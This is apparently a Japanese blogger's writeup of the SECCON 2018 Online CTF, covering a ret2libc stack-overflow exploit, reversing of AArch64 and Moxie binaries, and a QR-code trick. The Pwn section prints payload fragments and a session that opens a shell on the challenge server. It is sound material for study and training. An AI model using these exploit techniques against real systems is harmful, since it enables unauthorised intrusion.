yyy

CTFつよくなりたい

SECCON 2018 Online CTF Writeup

f:id:ywkw1717:20181028184327p:plain

開催期間(JST)

10/27 PM3:00 ~ 10/28 PM3:00

結果

・チーム名:wabisabi

・得点:1201 pt

・順位:80/653

解いた問題

・Classic Pwn(Pwn 121pt)

・Runme(Reversing 102pt)

・Special Device File(Reversing 231pt)

・Special Instructions(Reversing 262pt)

・QRChecker(QR 222pt)

取り組んだが解けなかった問題

History(Forensics 145pt)

・block(Reversing 362pt)

はじめに

今年も参加していました.もう3年くらいは出ているような?気がする.なかなか決勝が遠いです.今回はチームの初期メンバーで参加していましたが,去年より1ptしか得点変わらないのに順位が90位ぐらい上になっているのでやっぱり全体的に難化していたっぽい?各問題の点数はsolve数によって減っていくやつでした.以下,競技中に解けた問題のWriteupです.

Writeup

Classic Pwn(Pwn 121pt)

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

$  checksec classic_aa9e979fd5c597526ef30c003bffee474b314e22
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64bitでnot stripped.NXビットが有効なのでシェルコード実行とかは難しそう.

$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Classic Pwnable Challenge
Local Buffer >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Have a nice pwn!!
zsh: segmentation fault (core dumped)  ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

Local Bufferに書き込めるが,Buffer Over Flowがある.gdbのpattcでパターンを作り,offsetを調べる.

gdb-peda$ patto AAdAA3AA
AAdAA3AA found at offset: 64

RBPの値("AAdAA3AA")へのoffsetが64だったので,これにプラス8バイトした値がreturn addressへのoffsetになる.

RIPを奪えたので,libcのベースアドレスをリークしたい.

既にアドレス解決されている適当なGOT領域を,mainで使われていたputsなどでリークしていく.この時の戻り値はmainにしておく.以下のようなpayloadになる.(popretガジェットのアドレスはgdb-pedaの中で ropgadget コマンドで調べた)

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) # return address

リークしたアドレスからoffsetを引いてlibcのベースアドレスを求める.ついでにsystemへのアドレスも求めておく.以下のようになる.

leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

そしたら最後にもう1度stack bofさせてRIPをsystem_addrに移し,シェルを起動させる.

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

以下が,完成したexploit.

gist.github.com

$ python exploit.py
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base: 0x7f183f621000
system_addr: 0x7f183f666390
[*] Switching to interactive mode
Have a nice pwn!!
$ ls
classic
flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

Runme(Reversing 102pt)

力技で解いた...

実行すると以下のような画面が出る.

f:id:ywkw1717:20181028170545p:plain

IDA Demoで見てみる. f:id:ywkw1717:20181028170930p:plain

赤く囲ったところの値が変化しているだけの同じような関数がいくつもあるので,その値を1つずつ抽出していった.

f:id:ywkw1717:20181028171105p:plain

抽出した値を元に以下のようなスクリプトを書いておわり.

gist.github.com

$ python solve.py
C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}

Special Device File(Reversing 231pt)

$ file runme_8a10b7425cea81a043db0fd352c82a370a2d3373
runme_8a10b7425cea81a043db0fd352c82a370a2d3373: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped

問題文には坂井さんのcross-gccへのリンクとか,ここら辺見てみたいなのが書いてあったけど,結局自分で調べたりビルドしたものなどを使った.具体的には,qemu-aarch64を使って,gdbでリモートデバッグしながら解析した.(あとは aarch64-linux-gnu-objdump で逆アセンブルしたりとか)

$ qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu runme_8a10b7425cea81a043db0fd352c82a370a2d3373

こうすると1234番ポートで待ち受けてくれるので,gdbから接続するとリモートデバッグできる.gdbgdb-multiarchを使った.

$ gdb-multiarch -q runme_8a10b7425cea81a043db0fd352c82a370a2d3373
Reading symbols from runme_8a10b7425cea81a043db0fd352c82a370a2d3373...(no debugging symbols found)...done.
gdb-peda$ set sysroot /usr/aarch64-linux-gnu/
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0x0000000000001400 in _start ()
gdb-peda$ b main

あとはステップ実行していくだけ.どうやらSIGSEGVするようなので原因を調べると,スタックに使用しているアドレスが良くないっぽいことがわかったので,スタックのアドレスをspレジスタへ入れていた_startを見てみる.

gdb-peda$ disas
Dump of assembler code for function _start:
=> 0x0000000000001400 <+0>:     ldr     x0, 0x1500 <_start>
   0x0000000000001404 <+4>:     mov     sp, x0
   0x0000000000001408 <+8>:     bl      0x16a4 <main>

0x1500にあるバイナリを見てみると変な値になっているので,vmmapとかでメモリマップを調べてwritableな領域(0x1a60とかにした)にバイナリを書き換えた.(あとでわかったけど,これはファイル中の最後ら辺,exitする辺りのコードだったっぽくて正しく終了しなかったけど,解析への影響は特になかった)

再度実行してみると, /dev/xorshift64 というファイルに固定値を書き込もうとしていることがわかった.だけど,うまくシステムコールが呼べていないっぽくて,逆アセンブル結果を眺めていたらシステムコールを呼ぶところがhlt命令になっていて,終了してしまう理由がわかった.それとシステムコール番号もおかしかったので,調べながら修正した.

修正前 f:id:ywkw1717:20181028173430p:plain

修正後 f:id:ywkw1717:20181028173636p:plain

ここまでの修正で,再度解析してみたところ以下のようなことが分かった.

/dev/xorshift640x139408dcbbf7a44 を書き込んでいて,その後それを読み出している( /dev/xorshift64 は実行者権限で作っておいた)

・flagとrandvalという領域が存在し,randvalから取り出した1バイトと 0x139408dcbbf7a44 から取り出した1バイトをXORして,それとflagの1バイトをXORしている

・flagは32文字

だが,これでフラグが出力されるはずだと思って実行してみても 7NPblTJ.smFB という謎の文字列が出るだけ.これをsubmitしてみても通らないし,ここでものすごく時間を溶かした.

xorshift64というファイル名に注目してみた. どうやら乱数生成の方法にxorshiftという方法があり,ビットごとにxorshift32とかxorshift64などが存在するらしい.

また, 0x139408dcbbf7a44 という値を10進数にした 88172645463325252 を検索してみたところxorshiftのページがヒットした.どうやらこれはシード値っぽい.

ということで,xorshift64で生成した乱数32個の下位1バイトを復号処理に使えばいけるのではと考えて,以下のスクリプトを書いてみたところ正しく復号できた.

gist.github.com

python solve.py
SECCON{UseTheSpecialDeviceFile}

Special Instructions(Reversing 262pt)

終了1時間前に解けた.

Special Device Fileと同じような問題.ただし,fileコマンドではアーキテクチャが表示されず謎アーキ状態だったが,readelfを使ったところMoxieと出た.readelf優秀.

$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped

$ readelf -h runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
ELF ヘッダ:
  マジック:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
  クラス:                            ELF32
  データ:                            2 の補数、ビッグエンディアン
  バージョン:                        1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Moxie
  バージョン:                        0x1
  エントリポイントアドレス:               0x1400
  プログラムの開始ヘッダ:          52 (バイト)
  セクションヘッダ始点:          1936 (バイト)
  フラグ:                            0x0
  このヘッダのサイズ:                52 (バイト)
  プログラムヘッダサイズ:            32 (バイト)
  プログラムヘッダ数:                3
  セクションヘッダ:                  40 (バイト)
  セクションヘッダサイズ:            9
  セクションヘッダ文字列表索引:      8

Moxieなんて聞いたこともなかったのでなんやねんそれと思って調べていて,どうにか解析できる環境が構築できないか探っていた.結局以下のリポジトリのものをビルドして,中に入っていたMoxieに使えるgdbを使って解析した.

github.com

とにかく時間がなくて急いでいて,中にqemu-aarch64みたいな感じのqemu-moxieみたいなの入っていないかなと見てみてもなかったので(もしかしたらあったかも),リモートデバッグは諦めて静的解析のみで解いた.

$ moxie-none-moxiebox-gdb -q runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be

mainの逆アセンブル結果.

   0x000015a2 <+0>:     push    $sp, $r6
   0x000015a4 <+2>:     dec     $sp, 0x18
   0x000015a6 <+4>:     ldi.l   $r0, 0x92d68ca2
   0x000015ac <+10>:    jsra    0x154a <set_random_seed>
   0x000015b2 <+16>:    ldi.l   $r6, 0x1480
   0x000015b8 <+22>:    ldi.l   $r0, 0x1
   0x000015be <+28>:    ldi.l   $r1, 0x1654
   0x000015c4 <+34>:    jsr     $r6
   0x000015c6 <+36>:    ldi.l   $r0, 0x1
   0x000015cc <+42>:    ldi.l   $r1, 0x1680
   0x000015d2 <+48>:    jsr     $r6
   0x000015d4 <+50>:    ldi.l   $r0, 0x1
   0x000015da <+56>:    ldi.l   $r1, 0x169c
   0x000015e0 <+62>:    jsr     $r6
   0x000015e2 <+64>:    ldi.l   $r0, 0x1
   0x000015e8 <+70>:    ldi.l   $r1, 0x16ac
   0x000015ee <+76>:    jsr     $r6
   0x000015f0 <+78>:    ldi.l   $r0, 0x1
   0x000015f6 <+84>:    ldi.l   $r1, 0x16c4
   0x000015fc <+90>:    jsr     $r6
   0x000015fe <+92>:    ldi.l   $r0, 0x1
   0x00001604 <+98>:    ldi.l   $r1, 0x16e0
   0x0000160a <+104>:   jsr     $r6
   0x0000160c <+106>:   ldi.l   $r0, 0x1800
   0x00001612 <+112>:   ldi.l   $r1, 0x1820
   0x00001618 <+118>:   jsra    0x1552 <decode>
   0x0000161e <+124>:   mov     $r1, $r0
   0x00001620 <+126>:   ldi.l   $r0, 0x1
   0x00001626 <+132>:   jsr     $r6
   0x00001628 <+134>:   ldi.l   $r0, 0x1
   0x0000162e <+140>:   ldi.l   $r1, 0x167c
   0x00001634 <+146>:   jsr     $r6
   0x00001636 <+148>:   xor     $r0, $r0
   0x00001638 <+150>:   jsra    0x144a <exit>

直感でSpecial Device Fileと同じ形式だなと判断して,set_random_seedに渡しているっぽい 0x92d68ca2 を調べたところ,xorshift32のシード値に使われていたので,これはSpecial Device Fileと同じように復号すればいけそうと考えて,同じようにflagとrandvalを抜き出してきてスクリプトを書いた.

gist.github.com

$ python solve.py
SECCON{MakeSpecialInstructions}

QRChecker(QR 222pt)

終了30分前に解いたやつ.他の問題からの休憩や,ビルド待ちの時にサラっと見てはいたけど,解けてはいなかった.

与えられたURLにアクセスすると以下のようになっていて,pageはQRコードを判定するページ.srcは判定コードのソースコードが見れる.

f:id:ywkw1717:20181028180823p:plain

f:id:ywkw1717:20181028180841p:plain

ソースコードは以下.

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
print("Content-Type: text/html")
print("")
codes = set()
sizes = [500, 250, 100, 50]
print('<html><body>')
print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">')
print('<input type="file" name="uploadFile"/>')
print('<input type="submit" value="submit"/>')
print('</form>')
print('<pre>')
try:
    form = cgi.FieldStorage()
    data = form["uploadFile"].file.read(1024 * 256)
    image = Image.open(io.BytesIO(data))
    for sz in sizes:
        image = image.resize((sz, sz))
        result = zbarlight.scan_codes('qrcode', image)
        if result == None:
            break
        if 1 < len(result):
            break
        codes.add(result[0])
    for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")
except:
    pass
print('</pre>')
print('</body></html>')

リサイズしてzbarlight.scan_codesで読み取って,何も読み取れない(None)であればbreak,2つ以上読み取れてもbreakする.どうすればフラグが出るかというと,codesの中身が2つ以上あればいい.つまり,リサイズしていく課程で読み取る値に変化があればいいっぽい.

そこで,少し前に話題になったQRコード脆弱性で,読み取る文字が確率で変わるQRコードがいいのでは,と思った.確か神戸大学の先生が発表していたやつ.

news.yahoo.co.jp

しかし,ここにあるQRコードをスクショして使ってみたところ上手くいかない.もう少し誤認識する確率をあげてみる.このQRコードの仕組みは右側のデータコード語部分と左側のエラー訂正コード語の部分で格納されている文字が違っていて,かつ1ヵ所を灰色っぽい曖昧な色で塗っておくと可能,みたいな感じだったと思うので1ドット灰色っぽくなっているところをWindowsのペイントでもう少し濃くしてみた.(著作権の関係がありそうなので画像は無しで)

出来上がったQRコードを投げてみると無事通った.

f:id:ywkw1717:20181028182939p:plain

取り組んだが解けなかった問題

History(Forensics 145pt)

最後までなんのファイルなのかわからなかった...

WriteupみてみるとUSN Journalとか言っていて,この前のDFIRチャレンジで先輩に教えてもらったやつやん...となった.

block(Reversing 362pt)

f:id:ywkw1717:20181028183826p:plain

apkが配布される.CEDEC CHALLENGEで培った知見が役に立つのではと思ってやってみたけどダメだった.

il2cppは使われていなかったのでAssembly-CSharp.dllをdnspyでデコンパイルしてフラグが回転しているのでrotationのところを回転止めて横にずらすなりすればフラグが見えそうだなと思ったけど,書き換えるのが大変そうだった.nopにして回転止めるのは簡単だったけどそこからは手詰まり.

おわりに

毎年順位は上がっているんだけど,今年はようやく100位以内には入れて,しかも80位ということで大躍進できたんじゃないかなと思う.開始前はPwnとか全然準備してないしあかん...と思ってたけどRevが少し解けたので良かった.Pwnは解かれていた他の2つを解いてみようとしたけど,どちらもヒープ臭がしたので速攻で諦めた.Pwn精進していきたい感がある...

Revのいろんなアーキテクチャ問題は面白かった.xorshiftで生成される乱数の下位1ビットを使って復号するということに気づくまで時間がかかったけど,2つの知らないアーキテクチャアセンブリを読むのは割と楽しかった.

知っている日本チーム数えてみたけど国内決勝は行けなそうなので来年こそは...